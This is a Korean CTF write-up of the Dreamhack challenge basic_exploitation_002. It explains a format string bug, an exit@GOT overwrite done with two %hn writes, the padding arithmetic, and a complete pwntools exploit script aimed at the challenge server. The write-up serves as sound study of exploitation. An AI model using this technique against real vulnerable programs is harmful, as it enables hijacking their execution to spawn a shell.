[dreamhack] basic_exploitation_002
Format String Bug (FSB) - GOT overwrite(공격 방법)
format string 이란? %d, %s, %x, %c 등
%n(4byte), %hn(2byte) : store the length of print (지금까지 입력된 문자열의 개수 출력)
FSB는 %n/%hn을 활용해야한다.
(특정한 포인터나 값을 원하는 만큼 저장할 수 있음)
다만 조건이 제한적인데,
일반적으로 사용하는 printf(”%s”, buf); 등의 형식에서는 사용이 불가능하고,
printf(buf); 처럼 입력값을 바로 사용하는 경우에만 익스플로잇이 가능한다.
보통 익스플로잇할 때는 %hn을 사용한다.
그 이유는 0x08048609를 덮으려고 하면 8048609 개 만큼을 출력해야 하기 때문에 무리이고, %hn으로 2byte씩 나눠서 출력하는 게 효율적이다.
이미지와 같이 %x를 5번 입력하게 되면 현재 따로 설정된 인자값이 없기 때문에, 그냥 스택에서 %x를 5번 읽게 되어 스택 포인터와 코드 영역 포인터 등이 노출된다.
- FSB 이전의 스택 프레임 덤프
1
Breakpoint 5, __printf (format=0xffffcd88 "AAAA%x %x %x %x %x\n\b\320f\374\367\b\326\377\367 ")
- FSB 이후의 스택 프레임 덤프
해당 파일을 checksec으로 확인해보면 No PIE이기 때문에 로컬에서 구한 바이너리 값이 그대로 적용된다는 것을 알 수 있다.(ASLR 적용 X)
익스에 성공하기 위해 해야할 것은 exit@GOT 주소를 찾아서 해당 값을 get_shell의 주소로 덮는 것이다.
따라서 알아내야 할 정보는 get_shell()함수의 위치와 exit@GOT의 주소이다.
get_shell() : 0x8048609
exit@GOT : 0x804a024
0x804a024를 x/4xb로 확인해보면 값이
0x804a024 : 0x76
0x804a025 : 0x84
0x804a026 : 0x04
0x804a027 : 0x08
로 저장된다는 것을 알 수 있고, 여기서 상위 2바이트는 0x0804a026 부터, 하위 2바이트는 0x0804a024 부터 덮으면 된다는 것을 알 수 있다.
get_shell()의 주소와 exit@GOT의 주소가 일단 804까지는 똑같기 때문에 a024를 8609로 덮어야한다.
→라고 생각했는데 안정성 때문에 0804까지 덮는 게 정석이라고 한다.
즉, %hn을 두번 사용해서 상위 2바이트와 하위 2바이트로 나눠 입력하여 전체 주소를 덮어줘야한다.
따라서 페이로드는
payload = p32(exit_got + 2) + p32(exit_got) + “get_shell의 주소값 - 0x8”
가 된다.
여기서 “get_shell의 주소값 - 0x8”을 하는 이유는 앞에 입력한 p32(exit_got + 2) + p32(exit_got)의 8byte만큼의 길이도 포함해서 계산을 해야 하기 때문이다.
0x8609 (34313)을 덮고나면, 두 번째로는 0x0804 (2052)를 덮어야 하는데, 이미 34313만큼 출력된 상태이다.
→여기서 궁금했던 건 두 번째 %hn이 첫 번째 %hn의 출력 누적 수의 영향을 받는가?였는데 답은 YES 였다.
→그치만 서로 다른 메모리(상위,하위)를 덮기 때문에 서로의 메모리를 건드리진 않는다.
우리가 덮을 때 사용하는 %hn은 하위 2바이트(16비트)를 덮는데, 16비트의 최대 크기는 65536(0x10000) 이고, 이만큼 출력하면 0으로 돌아가는 특징이 있다.
1
2
3
4
5
(upper(목표) - lower) % 0x10000
= (0x0804 - 0x8609) % 0x10000
= (2052 - 34313) % 65536
= (-32261) % 65536
= 33275
따라서 해당 연산을 하게 되면 원하는 값을 넣을 수 있다.
exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
p = remote('host3.dreamhack.games', 20105)
get_shell = 0x08048609
exit_got = 0x0804a024
lower = get_shell & 0xffff
upper = (get_shell >> 16) & 0xffff
addr1 = p32(exit_got)
addr2 = p32(exit_got + 2)
written = 8
pad1 = lower - written
payload = addr1 + addr2
payload += f"%{pad1}c%1$hn".encode()
pad2 = (upper - lower) % 0x10000
payload += f"%{pad2}c%2$hn".encode()
print(f"Payload length: {len(payload)}")
p.sendline(payload)
p.interactive()






